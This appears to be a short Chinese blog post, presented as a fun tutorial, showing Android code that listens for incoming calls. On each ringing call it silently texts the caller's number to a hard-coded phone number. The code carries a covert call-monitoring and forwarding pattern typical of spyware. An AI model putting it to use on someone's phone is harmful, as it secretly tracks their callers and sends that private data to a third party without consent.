【娱乐】Android实现监听通话、发送短信

今晚本来打算学习Android的四大组件，偶尔发现Android还有这么好玩的功能~~

<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />

第一个权限为监听通话权限；第二个为发送短信权限

private SmsManager sManager;
private TelephonyManager tManager;
//声明这两个变量
//在oncreate方法中
tManager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
sManager = SmsManager.getDefault();
tManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
//声明一个监听事件
PhoneStateListener listener = new PhoneStateListener() {

@Override
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
break;
case TelephonyManager.CALL_STATE_RINGING:
PendingIntent pi = PendingIntent.getActivity(
ServiceT.this, 0, new Intent(), 0);
Log.e("111", "已执行");
sManager.sendTextMessage("17853100900", null, "来电人："
+ incomingNumber, pi, null);
//第一个参数为给哪个手机号发送短信，第三个参数为短信内容,
//incomingNumber是来电人手机号，其他的参数是用来凑数的
break;

}
}
